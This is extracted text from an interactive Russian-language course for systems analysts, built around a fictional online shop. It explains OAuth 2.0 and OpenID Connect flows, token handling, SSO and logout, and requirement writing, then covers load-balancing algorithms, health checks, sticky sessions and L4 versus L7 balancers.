Зачем это нужно. Сервис заказов получил токен Анны с aud=orders-api. Ему нужно списать деньги через сервис оплаты. Отдать этот же токен оплате нельзя: оплата правильно проверяет aud и откажет. Выпустить токен «на все API» — значит, любой сервис сможет ходить с токеном Анны куда угодно. Обмен решает обе проблемы.
POST /token HTTP/1.1 Host: id.botinok.ru Authorization: Basic b3JkZXJzLXNlcnZpY2U6… ← сервис заказов подтверждает себя grant_type=urn:ietf:params:oauth:grant-type:token-exchange &subject_token=eyJhbGciOi…(токен Анны) &subject_token_type=urn:ietf:params:oauth:token-type:access_token &audience=payments-api &scope=payments:create HTTP/1.1 200 OK { "access_token": "eyJhbGciOi…", "issued_token_type": "urn:ietf:params:oauth:token-type:access_token", "token_type": "Bearer", "expires_in": 60 } ── внутри нового токена ── { "sub": "u-7f3a91", ← по-прежнему Анна "aud": "payments-api", ← только для оплаты "scope": "payments:create", ← только списание "act": { "sub": "orders-service" } } ← кто действует от её имени
act. Для журнала аудита второе намного полезнее: «оплату от имени Анны инициировал сервис заказов». В Keycloak стандартный обмен токенов поддерживается с версии 26.2.PAR: не светить параметры в адресной строке
/authorize только с этим номером.POST /par HTTP/1.1 ← прямой запрос, клиент подтверждает себя
Host: id.botinok.ru
Authorization: Basic …
response_type=code&client_id=botinok-web&redirect_uri=https://botinok.ru/callback
&scope=openid orders:read&state=af0ifjsldkj&code_challenge=E9Mel…&code_challenge_method=S256
HTTP/1.1 201 Created
{ "request_uri": "urn:ietf:params:oauth:request_uri:6esc_11ACC5bwc014ltc14eY22c", "expires_in": 60 }
── браузер Анны ──
GET /authorize?client_id=botinok-web&request_uri=urn:ietf:params:oauth:request_uri:6esc_11ACC5bwc014ltc14eY22c
Что даёт PAR. Параметры нельзя подменить в браузере. Длина адреса не ограничивает запрос. Сервер проверяет клиента ещё до показа страницы входа. PAR обязателен в профиле FAPI 2.0 для банков и финансовых API. Для обычного магазина это полезная, но не обязательная мера.
Два устаревших потока — и почему их запретили
Implicit (response_type=token)
Токен доступа приходил сразу в адресе после редиректа: …/callback#access_token=…. Придуман в 2012 году для браузерных приложений, когда запросы к чужим доменам (CORS) ещё толком не работали. Беды: токен оседает в истории браузера и у расширений, его можно подсунуть чужому приложению, к нему нельзя привязать ключ. RFC 9700: клиентам не следует его использовать. В OAuth 2.1 его нет вовсе. Замена — Authorization Code + PKCE.
Resource Owner Password (grant_type=password)
Приложение собирало логин и пароль Анны в своей форме и отправляло их на /token. Это тот самый антипаттерн «отдай пароль», только стандартизированный. Пароль видит приложение, не работает второй фактор и passkey, пользователи привыкают вводить пароль куда попало. RFC 9700: не должен использоваться (MUST NOT). В OAuth 2.1 его нет.
draft-ietf-oauth-v2-1), а не RFC. Но все его требования уже действуют через RFC 9700 — «лучшие практики безопасности OAuth 2.0», опубликованный в январе 2025 года. Серверы вроде Keycloak, Okta, Microsoft Entra ID им следуют.глава 10 · тренажёр какой поток выбрать
Олег составляет матрицу: какой клиент каким потоком получает токены. Правило простое: есть человек — Authorization Code + PKCE (для устройства без клавиатуры — Device). Нет человека — Client Credentials. Нужно передать человека дальше по цепочке — Token Exchange. Разложите ситуации «Ботинка» по потокам.
Решено 0 из 0.
Матрица клиентов «Ботинка»
| Клиент | Тип | Поток | Где живут токены | Refresh |
|---|---|---|---|---|
| Сайт «Магазин» (серверный рендеринг) | конфиденциальный | Code + PKCE, секрет клиента | на сервере; браузеру — cookie сессии | да |
| SPA «Личный кабинет» | конфиденциальный через BFF | Code + PKCE силами BFF | в BFF; браузеру — HttpOnly-cookie | да, в BFF |
| Мобильное приложение | публичный | Code + PKCE, системный браузер | в защищённом хранилище ОС (Keychain, Keystore) | да, с ротацией |
| «Ботинок ТВ» | публичный | Device Authorization | в хранилище устройства | да, с ротацией |
| Партнёр «Мигом» (от имени Анны) | конфиденциальный | Code + PKCE, согласие Анны, узкие scope | на сервере партнёра | да |
| Склад, ночная сверка | конфиденциальный | Client Credentials | в памяти сервиса | нет |
| Заказы → Оплата (от имени Анны) | конфиденциальный | Token Exchange | живёт секунды, в памяти | нет |
глава 11 · OIDC OpenID Connect: кто именно вошёл
Борис доволен: приложение получает токен доступа и ходит в API. Но на главном экране надо написать «Здравствуйте, Анна». Борис раскодировал токен доступа и достал оттуда имя. Вера остановила его: «Токен доступа — не для тебя. Он для API. Его формат может завтра поменяться, он может стать непрозрачным. Тебе нужен другой токен — про личность».
openid и получает, кроме токена доступа, id_token — подписанный JWT о том, кто вошёл, когда и как. Ещё OIDC добавляет адрес с данными профиля (userinfo), автоматическое описание сервера (discovery) и правила выхода.id_token и токен доступа — не путать
── id_token: для приложения ──
{
"iss": "https://id.botinok.ru",
"sub": "u-7f3a91",
"aud": "botinok-mobile", ← адресат — приложение
"exp": 1790845500,
"iat": 1790845200,
"auth_time": 1790845190, ← когда Анна вводила пароль
"nonce": "n-0S6_WzA2Mj", ← связь с этим входом
"acr": "mfa", ← уровень проверки
"amr": ["pwd", "otp"], ← пароль + одноразовый код
"name": "Анна Смирнова" ← только если просили scope profile
}
── токен доступа: для API ──
{
"iss": "https://id.botinok.ru",
"sub": "u-7f3a91",
"aud": "orders-api", ← адресат — API
"exp": 1790845500,
"iat": 1790845200,
"jti": "b7e1c0d2-9a4f-4c1e-8f7a-2d3b5e6c7a81",
"client_id": "botinok-mobile",
"scope": "openid orders:read" ← права
}
заголовок: { "typ": "at+jwt", … }
| id_token | Токен доступа | |
|---|---|---|
| Для кого | Для приложения-клиента: узнать, кто вошёл | Для API: пустить к данным |
| aud | client_id приложения | идентификатор API |
| Формат | Всегда JWT | JWT или непрозрачный — приложению всё равно |
| Кто его читает | Приложение проверяет подпись, iss, aud, exp, nonce | Только API. Приложение не должно разбирать токен доступа |
| Куда нельзя отправлять | В API как пропуск. API правильно откажет по aud и typ | Никуда, кроме своего API |
userinfo и discovery
Userinfo — адрес, где приложение по токену доступа получает данные профиля. Отдаёт только то, на что есть scope: profile, email, phone, address.
GET /userinfo HTTP/1.1
Host: id.botinok.ru
Authorization: Bearer eyJhbGciOi…
HTTP/1.1 200 OK
{ "sub": "u-7f3a91",
"name": "Анна Смирнова",
"email": "anna@mail.ru",
"email_verified": true }
Discovery (OpenID Connect Discovery) — сервер описывает сам себя по стандартному адресу. Библиотеке клиента достаточно одного адреса издателя, остальное она прочитает здесь.
GET /.well-known/openid-configuration { "issuer": "https://id.botinok.ru", "authorization_endpoint": "…/authorize", "token_endpoint": "…/token", "userinfo_endpoint": "…/userinfo", "jwks_uri": "…/.well-known/jwks.json", "end_session_endpoint": "…/logout", "revocation_endpoint": "…/revoke", "introspection_endpoint": "…/introspect", "device_authorization_endpoint": "…/device_authorization", "code_challenge_methods_supported": ["S256"], "id_token_signing_alg_values_supported": ["RS256","ES256"], "backchannel_logout_supported": true }
Keycloak — сервер авторизации «Ботинка»
Keycloak — сервер авторизации с открытым кодом (проект фонда CNCF). Умеет OAuth 2.0, OpenID Connect и SAML 2.0, вход через внешние сервисы, подключение корпоративного каталога сотрудников (LDAP, Active Directory), второй фактор и passkeys. Похожую работу делают облачные Auth0, Okta, Microsoft Entra ID и открытые Authentik, Zitadel, Ory Hydra.
Realm (область)
Отдельный мир пользователей, клиентов и настроек. У «Ботинка» — shop для покупателей и staff для сотрудников. Пользователи разных областей друг друга не видят.
Client (клиент)
Карточка приложения: client_id, тип (конфиденциальный или публичный), адреса возврата, разрешённые потоки, обязательность PKCE, сроки токенов.
Роли и группы
Роли области (customer, support) и роли клиента. Их можно положить в токен. Группы объединяют пользователей, чтобы не раздавать роли поштучно.
адреса Keycloak для области shop: https://id.botinok.ru/realms/shop/.well-known/openid-configuration https://id.botinok.ru/realms/shop/protocol/openid-connect/auth ← /authorize https://id.botinok.ru/realms/shop/protocol/openid-connect/token ← /token https://id.botinok.ru/realms/shop/protocol/openid-connect/certs ← JWKS https://id.botinok.ru/realms/shop/protocol/openid-connect/userinfo https://id.botinok.ru/realms/shop/protocol/openid-connect/logout https://id.botinok.ru/realms/shop/protocol/openid-connect/token/introspect https://id.botinok.ru/realms/shop/protocol/openid-connect/revoke
В остальных примерах раздела адреса для краткости упрощены: /authorize, /token. Настоящие адреса ваше приложение берёт из discovery.
SAML 2.0 — старший брат для корпоративного входа
Нажмите на строку, чтобы раскрыть пояснение.
глава 12 · SSO единый вход и единый выход: Анна в «Магазине» и «Бонусах»
id.botinok.ru. Когда второе приложение отправляет Анну на вход, сервер видит эту cookie и сразу выдаёт код, не спрашивая пароль.SSO вживую
Слева направо: сайт «Магазин» (shop.botinok.ru), браузер Анны, сервер SSO (id.botinok.ru) и сайт «Бонусы» (bonus.botinok.ru). Оба сайта — конфиденциальные клиенты с серверной частью. Сначала войдите в «Магазин», потом откройте «Бонусы» — пароль не спросят. Потом нажмите «Выйти» в «Магазине» при разных настройках выхода и посмотрите, что останется от сессий.
🍪 Cookie в браузере Анны
👀 Что видит Анна
Три способа выйти — и почему это трудно
RP-Initiated Logout
Приложение удаляет свою сессию и отправляет браузер на end_session_endpoint сервера с id_token_hint и адресом возврата (post_logout_redirect_uri). Сервер гасит сессию SSO. Остальные приложения об этом не знают.
Front-Channel Logout
Сервер открывает в браузере невидимые окна (iframe) с адресами выхода каждого приложения. Работает через браузер и ломается, когда браузер блокирует cookie в чужих окнах — а современные браузеры всё чаще так делают. И если вкладка закрылась раньше, выход не случится.
Back-Channel Logout
Сервер сам, напрямую, отправляет каждому приложению POST с logout_token — подписанным JWT с sub и sid (номер сессии SSO). Надёжнее, но сервер должен «достучаться» до каждого приложения по сети, а приложение — уметь найти и удалить сессию по sid.
invalid_grant. Поэтому аналитик должен записать, что именно значит «Выйти»: только здесь, везде в браузере, на всех устройствах — и за какое время.глава 13 · браузер токены в браузере: где хранить, BFF, DPoP
У «Ботинка» есть «Личный кабинет» — одностраничное приложение (SPA) на JavaScript. Борис спрашивает: «Куда положить токен? В localStorage удобно». Вера отвечает вопросом: «А что сделает вредный скрипт, если он окажется на странице?». Скрипт может попасть через уязвимость XSS, через заражённую библиотеку из npm или через чужой виджет. Проверьте разные варианты хранения.
Где хранить токен: проверьте на атаках
BFF — рекомендация IETF
HttpOnly, Secure, SameSite=Strict. Все запросы к API идут через BFF, и BFF подставляет токен.В августе 2026 года IETF опубликовал RFC 10017 «OAuth 2.0 for Browser-Based Applications» (BCP 212). В нём описаны три схемы: BFF, «посредник токенов» (token-mediating backend: сервер получает токены и отдаёт токен доступа в браузер) и чисто браузерный клиент. BFF назван настоятельно рекомендуемым для бизнес-приложений, чувствительных данных и персональных данных. Для cookie BFF обязательны Secure и HttpOnly, рекомендованы SameSite=Strict и префикс имени. Против CSRF RFC советует ещё и требовать от SPA свой заголовок в каждом запросе к BFF: злой сайт не может добавить его к запросу на чужой домен.
Привязка токена к отправителю: DPoP и mTLS
DPoP (RFC 9449, 2023)
Клиент создаёт пару ключей; в браузере — неизвлекаемый ключ WebCrypto. К каждому запросу он прикладывает короткий подписанный JWT-доказательство: метод, адрес, время, хеш токена. Сервер вписывает в токен отпечаток ключа (cnf.jkt). API сверяет отпечаток и подпись доказательства.
GET /orders HTTP/1.1 Host: api.botinok.ru Authorization: DPoP eyJhbGciOi… ← схема DPoP, не Bearer DPoP: eyJ0eXAiOiJkcG9wK2p3dCIs… ← доказательство ── доказательство, заголовок ── { "typ": "dpop+jwt", "alg": "ES256", "jwk": { "kty": "EC", "crv": "P-256", "x": "l8tFrhx…", "y": "9VE4jf_…" } } ── доказательство, нагрузка ── { "jti": "e1j3V_bKic8-LAEB", "htm": "GET", "htu": "https://api.botinok.ru/orders", "iat": 1790845260, "ath": "fUHyO2r2Z3DZ53EsNrWBb0xWXoaNy59IiKCAqksmQEo" } ← хеш токена ── в самом токене доступа ── "cnf": { "jkt": "0ZcOCORZNYy-DWpqq30jZyJGHTN0d2HglBV3uiguA4I" }
mTLS-привязка (RFC 8705)
Клиент устанавливает соединение со взаимным TLS: предъявляет свой сертификат. Сервер авторизации вписывает в токен отпечаток сертификата (cnf."x5t#S256"). API принимает токен только по соединению с тем же сертификатом. Хорошо подходит для сервисов и партнёров, у которых есть сертификаты. Для браузеров и мобильных приложений почти не используется.
── в токене доступа ──
"cnf": { "x5t#S256": "bwcK0esc3ACC3DB2Y5_lESsXE8o9ltc05O89jdN-dg2" }
глава 14 · внутри микросервисы, внутренние токены, MFA и passkeys
Запрос Анны прошёл шлюз. Дальше его обрабатывают заказы, оплата, склад. Кто внутри проверяет токен? Как сервис оплаты узнает, что платит именно Анна? И где проходит граница между «можно смотреть заказы вообще» и «можно смотреть этот заказ»?
Три схемы: где проверять токен
Грубая и тонкая авторизация
Грубая (coarse-grained)
«Есть ли у клиента право на этот вид операций». Проверяется по scope и ролям в токене: orders:read — можно читать заказы. Это дёшево и делается на шлюзе или в фильтре сервиса.
Из жизни: пропуск в здание банка.
Тонкая (fine-grained)
«Можно ли этому пользователю этот объект». Анна может читать только свои заказы: order.customer_id == token.sub. Это знает только сервис, у которого есть данные, — токен тут не поможет. Сложные правила выносят в движок политик (OPA, OpenFGA).
Из жизни: ключ от своей ячейки в хранилище.
/orders/1042 на /orders/1043 — и видит чужой заказ с адресом и телефоном. В списке OWASP API Security Top 10 это первое место: Broken Object Level Authorization. Никакой OAuth от этого не спасает: это требование к каждому методу API.authorization_details со структурированным описанием, и оно попадает в токен. Так делают в открытом банкинге.MFA и passkeys: как это стыкуется с OAuth
Где это в OAuth. Нигде — и это главное. MFA и passkey — это то, как Анна доказывает себя серверу авторизации на его странице входа. Приложения и API об этом не знают и получают те же токены. Поэтому включить passkeys можно, не трогая ни одного приложения. О том, как прошёл вход, сервер сообщает в id_token: acr — достигнутый уровень, amr — использованные методы (значения вроде pwd, otp, mfa перечислены в RFC 8176). Приложение может попросить уровень при входе параметром acr_values.
Повышение уровня входа (step-up). Смотреть заказы можно после простого входа. Сменить карту — только после второго фактора, и не позже пяти минут назад. RFC 9470 описывает, как API просит об этом.
глава 15 · аналитику как описать вход и доступ в требованиях
Олегу нужно превратить всё это в документ, по которому команда построит вход, а тестировщик проверит. «Сделать авторизацию через OAuth» — это не требование: из него ничего не следует. Вот что должно быть в постановке.
Что обязательно записать
1. Матрица клиентов
Каждое приложение: тип (публичный или конфиденциальный), поток, адреса возврата, разрешённые scope, нужен ли refresh-токен, где хранятся токены. Готовый образец — в главе 10.
2. Права: scope и роли
Список scope с описанием человеческим языком (этот текст увидит Анна на экране согласия). Роли и соответствие «роль → операции». Отдельно — тонкие правила: «покупатель видит только свои заказы».
3. Сроки жизни
Код, токен доступа, refresh-токен (скользящий и абсолютный срок), сессия SSO (бездействие и максимум). С обоснованием: чем рискуем, какая нагрузка.
4. Сценарии входа и выхода
Первый вход, повторный, SSO между приложениями, вход с нового устройства. Что значит «Выйти» и «Выйти на всех устройствах», за какое время выход доходит до всех приложений.
5. Уровни проверки
Где нужен второй фактор, где повышение уровня (смена карты, адреса, пароля), как давно должен быть вход (max_age).
6. Отзыв и события
Смена пароля отзывает все refresh-токены. Обнаружен повтор refresh — отзыв семейства, запись в журнал аудита, уведомление Анне. Блокировка пользователя действует не позже N минут.
7. Ошибки
401 с заголовком WWW-Authenticate: Bearer error="invalid_token" — токена нет, он просрочен или неверный. 403 с error="insufficient_scope" — прав не хватает. Что видит пользователь в каждом случае.
8. Нефункциональные
Доступность сервера авторизации (он нужен каждому входу и обновлению), кеш JWKS, синхронизация часов, ротация ключей, запрет персональных данных в токенах, журналирование без токенов целиком.
Как звучит хорошее требование
НФТ-SEC-07. Токены доступа Токен доступа для API «Ботинка» выпускается в формате JWT (RFC 9068), подписывается RS256 или ES256, срок жизни — 5 минут. API принимает токен, только если: подпись верна по ключам из JWKS id.botinok.ru; alg из списка [RS256, ES256]; iss = https://id.botinok.ru; aud содержит идентификатор этого API; exp не истёк (допуск часов 30 с). В токен не включаются ФИО, email, телефон и адрес. НФТ-SEC-08. Refresh-токены мобильного приложения Выдаются с ротацией при каждом использовании. Повторное предъявление использованного refresh-токена отзывает все токены этой цепочки входа и создаёт событие аудита REFRESH_REUSE_DETECTED с client_id и sub. Скользящий срок — 30 дней, абсолютный — 90 дней. ФТ-AUTH-12. Выход на всех устройствах По кнопке «Выйти на всех устройствах» отзываются все refresh-токены и сессии SSO пользователя. Веб-приложения получают back-channel logout. Не позже чем через 5 минут ни одно приложение не выполняет запросы от имени пользователя.
Матрица прав (фрагмент)
| scope | Текст на экране согласия | Кому разрешено | Операции API |
|---|---|---|---|
orders:read | Видеть ваши заказы | мобильное приложение, сайт, «Ботинок ТВ» | GET /orders, GET /orders/{id} — только свои |
orders.status:read | Видеть статус ваших заказов | «Мигом» | GET /orders/{id}/status |
address:read | Видеть адрес доставки | «Мигом», сайт | GET /profile/address |
payments:create | — (не выдаётся пользователю напрямую) | только через обмен токена для сервиса заказов | POST /payments |
Частые ошибки в постановках и реализациях
Нажмите на пункт, чтобы раскрыть.
Тренажёр: найдите изъян в требовании
Решено 0 из 0.
глава 16 · проверь себя двенадцать вопросов
Решено 0 из 0.
Балансировщик решает один вопрос: кому из живых серверов отдать этот запрос. Всё остальное — надстройки над этим вопросом. В этом разделе мы пройдём историю одного интернет-магазина от первой распродажи до спокойной выкатки без потерь. По дороге разберём, как балансировщик выбирает сервер, как замечает мёртвых и как закрывает «кассу», никого не обидев.
карта раздела куда мы пойдём
Раздел — одна история. Читать лучше по порядку: каждая глава опирается на предыдущую. Но можно и прыгнуть сразу к нужной главе.
глава 1 · проблема один сервер и распродажа
Начнём с маленького интернет-магазина. У него один сервер — один компьютер, на котором работает программа магазина. Сервер принимает запросы: «покажи каталог», «положи в корзину», «оформи заказ». Каждое нажатие покупателя — это запрос.
Мощность сервера меряют в запросах в секунду (по-английски RPS, requests per second). Пусть наш сервер спокойно переваривает 100 запросов в секунду. В обычный день приходит 40 — всё хорошо.
А потом наступает распродажа. Запросов становится 240 в секунду. Что делать? Самое простое — поставить ещё два таких же сервера. Но тут возникает вопрос, ради которого и написан весь раздел: а как покупатели узнают, что серверов теперь три?
Подвигайте нагрузку и переключайте, как устроен магазин.
глава 2 · определение что такое балансировщик
Три важных слова в определении:
- Одинаковых. Серверы за балансировщиком — копии одной и той же программы. Их ещё называют узлами, экземплярами или бэкендами. Всю группу называют пулом.
- Один адрес. Покупатель знает только адрес балансировщика. Сколько серверов за ним, ему не видно — и не нужно.
- Живых. Балансировщик следит, какие серверы работают, и мёртвым запросы не отдаёт.
Житейская картинка на весь раздел: супермаркет
Представьте большой супермаркет с несколькими кассами. У входа в зону касс стоит администратор. Он смотрит на кассы и говорит каждому покупателю: «Вам — на третью». Покупатель не выбирает кассу сам и не думает, сколько их. Он просто идёт, куда показали.
Всё, что умеет балансировщик, есть у этого администратора. Мы будем возвращаться к нему в каждой главе:
Зачем это всё: что будет, если балансировщика нет
глава 3 · путь запроса Анна в распродажу открывает каталог
Теперь посмотрим, что происходит на самом деле, когда покупатель нажимает кнопку. Возьмём одного человека — Анну. Полдень, распродажа, Анна открывает в телефоне каталог. У магазина уже три сервера — A, B и C — и балансировщик перед ними.
Жмите «Дальше» и следите: какие участники подсвечены, какие данные летают и почему всё устроено именно так. Потом переключите сценарий на «сервер падает посреди запроса».
глава 4 · как выбрать кассу алгоритмы балансировки на пальцах
Алгоритм балансировки — правило, по которому администратор решает, к какой кассе отправить очередного покупателя. Правил немного, и у каждого своя цена:
🔁 По очереди (round robin)
Первый — на кассу 1, второй — на 2, третий — на 3, дальше по кругу. Ни на что не смотрит. Просто и честно по числу людей — но не по их тележкам.
📏 Где короче (least connections)
К кассе, где сейчас меньше всего людей. «Соединение» — это покупатель, которого касса уже взяла в работу. Смотрит на реальную картину, а не на порядок.
🏋 Опытному больше (weighted)
У каждой кассы есть вес — сколько покупателей ей давать за один круг. Опытный кассир с весом 2 получает вдвое больше новичка с весом 1.
🔑 Ваша касса (hash)
Кассу выбирают по номеру карты покупателя: из номера считают число и по нему находят кассу. Один и тот же человек всегда попадает к одному кассиру. Подробно — в главе 6.
Живое распределение: смотрите, как летят запросы
Слева — покупатели (у каждого свой цвет), в центре — балансировщик, справа — три кассы. Каждый кружок — запрос. Он летит к балансировщику, тот решает, куда его отправить, и кружок «садится» у кассы на время обработки. Большой кружок 🛒 — долгий запрос. Потом ответ возвращается к покупателю. Над балансировщиком видна его «мысль» — почему он выбрал именно эту кассу.
Сначала медленно: куда уйдёт каждый запрос и почему
Выберите алгоритм и жмите «Следующий запрос». На схеме видно, куда уходит запрос и почему именно туда. Узел C мощнее остальных втрое.
глава 4 · гонка касс один и тот же поток покупателей — разные правила
Теперь главный опыт. В магазин по одному заходят 24 покупателя, раз в секунду. Большинство — с корзинкой на одну покупку (🧺, обслуживание 1 секунда). Но каждый третий — с огромной тележкой (🛒, 6 секунд). В жизни это обычный запрос каталога и тяжёлая выгрузка отчёта.
Поток всегда один и тот же. Меняется только правило администратора. Запустите «по очереди», потом «где короче» — и сравните, сколько люди простояли.
глава 4 · шпаргалка какой алгоритм когда
Кроме четырёх «кассовых» правил, в настоящих балансировщиках есть ещё несколько. Щёлкните строку, чтобы раскрыть подробности.
глава 5 · кассир ушёл проверки здоровья
Кассир ушёл на обед, а табличку не повесил. Если администратор этого не заметит, он продолжит слать людей к пустой кассе. Они постоят и уйдут ни с чем.
У балансировщика для этого есть проверка здоровья (health check). Это регулярный вопрос каждому серверу: «ты жив?». Обычно балансировщик раз в несколько секунд делает запрос GET /health. Ответил «200 OK» — жив. Не ответил или ответил ошибкой — неудача.
Две настройки решают всё:
- Интервал — как часто спрашивать. Раз в секунду или раз в десять.
- Порог — сколько неудач подряд нужно, чтобы объявить сервер мёртвым и убрать его из пула.
Пока балансировщик не убедился, что сервер мёртв, он шлёт туда запросы — и они пропадают. Это слепое окно. Попробуйте подобрать настройки: чтобы слепое окно было не больше 5 секунд, но короткая трёхсекундная «задумчивость» сервера (например, пауза на сборку мусора) не выкидывала его зря.
глава 5 · глубже активная и пассивная проверка, три вида «здоровья»
Активная проверка
Балансировщик сам стучится в /health раз в N секунд. Узел объявляется мёртвым после K неудач подряд и живым — после M удач. Простая, предсказуемая, но узнаёт о смерти с задержкой до N×K секунд. Это ровно то, что вы крутили выше.
Пассивная проверка (outlier detection)
Балансировщик смотрит на настоящие ответы: узел, который чаще остальных отвечает ошибками 5xx или не успевает ответить, временно убирается из пула. Реагирует почти сразу и видит реальные проблемы, а не ответ «заглушки». Администратор не ждёт обхода — он видит, что от третьей кассы люди уходят злые.
Три вида проверок, которые надо различать
В Kubernetes и похожих системах «здоровье» делят на три вопроса. Путать их — самая частая ошибка.
- Liveness («жив ли процесс») — не завис ли он так, что его надо перезапустить. Должна быть максимально тупой: если она проверяет базу, то недоступность базы вызовет перезапуск всех узлов разом, и станет хуже.
- Readiness («готов ли принимать покупателей прямо сейчас»). Здесь уместно проверять зависимости: прогрет ли кеш, есть ли соединение с базой. Узел не готов — его убирают из балансировки, но не убивают. Кассир на месте, но пересчитывает кассу — табличка «подождите».
- Startup («ещё открываемся»). Отдельная проверка нужна, чтобы медленно стартующее приложение не убивалось liveness-проверкой на старте.
/health проверяет доступность базы, база на минуту тормозит — все узлы разом объявляются мёртвыми, балансировщику некуда слать трафик, сервис падает полностью вместо частичной деградации. Правило: liveness не должна зависеть от внешних систем, а readiness — должна, но её срабатывание не должно быть синхронным у всех узлов сразу.глава 6 · постоянный покупатель липкие сессии: зачем, как и почему это долг
Бывает, что кассир что-то помнит про покупателя: «вы отложили у меня пакет». Тогда покупателя надо отправлять именно к нему, иначе пакет потеряется. В серверах это то же самое: если сервер хранит у себя в памяти корзину или сессию входа, следующий запрос того же клиента должен прийти на тот же сервер.
Липкая сессия (sticky session) — привязка клиента к конкретному узлу, чтобы все его запросы шли туда же. Нужна, когда узел хранит состояние этого клиента: сессию в памяти, открытое соединение, накопленный контекст.
По cookie
Балансировщик ставит свою cookie с номером узла — как бирка «ваш кассир — №2». Точно, работает через общий интернет-шлюз (NAT) и мобильные сети. Требует L7 и того, чтобы клиент принимал cookie.
По IP-хешу
Узел выбирается по адресу клиента. Работает на L4 и без cookie. Но за одним офисным NAT сидят тысячи людей с одним адресом — все попадут к одному кассиру. А смена сети (Wi-Fi → мобильный) меняет адрес и теряет привязку.
По идентификатору из приложения
Маршрутизация по заголовку или пути (/session/{id}) через согласованное хеширование. Самый управляемый вариант, применяется для шардированных stateful-сервисов.
глава 7 · касса закрывается как вывести сервер при выкатке и никого не потерять
Новая версия магазина готова. Серверы надо обновить по одному. Значит, сервер B придётся выключить — а на нём прямо сейчас обслуживаются люди, и новые продолжают подходить.
В супермаркете это решают табличкой «касса закрывается»: новых не принимаем, но тех, кто уже стоит, дообслужим. В серверах это называется drain («осушение», вывод без потерь) или connection draining.
Ниже — сервер B и его запросы по секундам. Каждая строка — один запрос. На третьей секунде начинается выкатка. Балансировщик проверяет готовность раз в 3 секунды, поэтому узнаёт о выкатке только на шестой. Сравните три способа.
глава 7 · рецепт вывод узла без потерь — по шагам
глава 8 · конверт или письмо что за «уровни» L4 и L7
Аналитикам: в конце главы есть блок «зачем это системному аналитику» — таблица «требование из ТЗ → L4 или L7» и тренажёр.
В главе 3 наш балансировщик прочитал путь /catalog и заметил ошибку сервера A. Так умеют не все балансировщики. Всё зависит от того, насколько глубоко он заглядывает в запрос.
Буква L — это layer, слой. Цифра — номер слоя в сетевой модели OSI (это стандартная «лестница» из семи ступеней: от проводов внизу до приложения наверху). Звучит академично, но идея простая.
Один и тот же запрос на двух уровнях
Нажмите — посмотрите, что видит балансировщик на каждом уровне и что он поэтому может и не может.
глава 8 · таблица L4 против L7
| L4 — транспортный | L7 — прикладной | |
|---|---|---|
| Житейски | Читает адрес на конверте | Вскрывает письмо и читает |
| Что видит | IP-адреса и порты. Содержимое — непрозрачный поток байт | HTTP-запрос целиком: путь, метод, заголовки, cookie |
| Может маршрутизировать | Только по адресу назначения | По пути (/api/orders → одному, /api/catalog → другому), по заголовку, по версии |
| Скорость | Очень высокая, почти нет накладных расходов | Ниже: надо разобрать запрос, часто расшифровать TLS |
| Повтор при ошибке | Не умеет: не знает, что такое «запрос» | Умеет: видит код ответа и может отправить запрос другому узлу |
| TLS | Проходит насквозь, шифрование до узла | Обычно завершается здесь, дальше — заново или открыто |
| Типичное применение | Базы данных, gRPC-потоки, всё не-HTTP, вход в кластер | Веб-трафик, API, канареечные выкатки, A/B |
| Примеры | LVS/IPVS, AWS NLB, HAProxy в режиме tcp | nginx, Envoy, Traefik, AWS ALB, HAProxy в режиме http |
глава 8 · аналитику зачем системному аналитику L4 и L7
Аналитик сам балансировщик не настраивает. Но он пишет требования вида «премиум-клиентов — на отдельный кластер» или «новую версию сначала показать 5 % пользователей». Если на входе стоит только L4, такие требования невыполнимы без доработки инфраструктуры. Лучше узнать это до оценки, а не на приёмке.
Требование из ТЗ → справится ли L4, справится ли L7
| Требование | L4 (конверт) | L7 (письмо) |
|---|---|---|
Маршрут по пути: /api/payments → сервис оплаты | Нет: пути не видит | Да, базовая функция |
| Канарейка: 5 % пользователей — на новую версию | Только грубо, по доле соединений; один человек может прыгать между версиями | Да: по cookie или заголовку, пользователь стабильно в одной группе |
Мобильное приложение v2 по заголовку X-App-Version: 2 — на новый бэкенд | Нет: заголовков не видит | Да |
| Липкие сессии | Только по IP: ломаются при смене сети (Wi-Fi → мобильный), перекос за NAT | По cookie: переживают смену сети |
| Повтор GET при ответе 503 — на другом сервере | Нет: не знает, что такое ответ | Да |
| X-Request-Id для сквозной трассировки | Нет: не может дописать заголовок | Да: добавляет, если его нет |
| Лимит 100 запросов в минуту на клиента | Нет: не знает, кто клиент (разве что по IP) | Да, по токену или ключу (часто это делает шлюз) |
| Не-HTTP поток: база данных, MQTT от датчиков, видеозвонок, игровой сервер | Да, это его работа | Обычно нет: понимает только HTTP и немногие известные протоколы |
| Минимальная задержка и миллионы одновременных соединений | Да, почти без накладных расходов | Дороже: разбор и шифрование едят процессор |
Четыре практических применения
Мини-тренажёр: вот требование — чем его закрыть?
Решено 0 из 0.
глава 9 · полигон балансировщик вживую
Всё, что было в главах 4–7, собрано в одном месте. Четыре узла разной мощности. Выберите алгоритм, отправьте запросы, уроните узел, включите липкие сессии, выведите узел — и смотрите, как меняется распределение и откуда берутся ошибки.
глава 10 · кто есть кто балансировщик, шлюз, BFF и mesh
Рядом с балансировщиком постоянно звучат ещё три слова. Все они стоят «на пути запроса», поэтому их легко спутать. Разница — в том, на какой вопрос каждый отвечает.
| ⚖ Балансировщик | 🛂 API-шлюз | 🧑💼 BFF | 🚚 Service mesh | |
|---|---|---|---|---|
| Житейски | Администратор у касс: «вам — на третью» | Ресепшен бизнес-центра: проверяет пропуск и говорит, на какой этаж | Личный помощник для гостей одного типа: собирает всё нужное им в одну папку | Курьерская служба между офисами: сама возит, шифрует, повторяет доставку |
| Главный вопрос | Какой из одинаковых копий отдать запрос? | В какой сервис этот запрос и можно ли его пускать? | Что нужно именно этому экрану этого клиента? | Как сервисам надёжно звонить друг другу? |
| Где стоит | Перед копиями одного сервиса (или на входе) | На входе в систему, один на всех клиентов | Отдельный на каждый тип клиента: веб, мобильное, партнёры | Внутри, рядом с каждым сервисом (sidecar) |
| Типичная работа | Алгоритм выбора, проверки здоровья, drain | Проверка токена, лимиты, маршрут по пути, версии API | Склейка ответов нескольких сервисов, обрезка полей под экран | Шифрование mTLS, повторы, таймауты, балансировка между сервисами |
| Знает бизнес-смысл | Нет | Почти нет | Да, про экраны | Нет |
| Примеры | nginx, HAProxy, AWS ALB/NLB | Kong, Spring Cloud Gateway, AWS API Gateway | Свой сервис на Node, Kotlin, Go | Istio, Linkerd |
Кому поручить задачу?
Разложите задачи по исполнителям. Решено 0 из 0.
глава 11 · проверь себя балансировка
Решено 0 из 0.
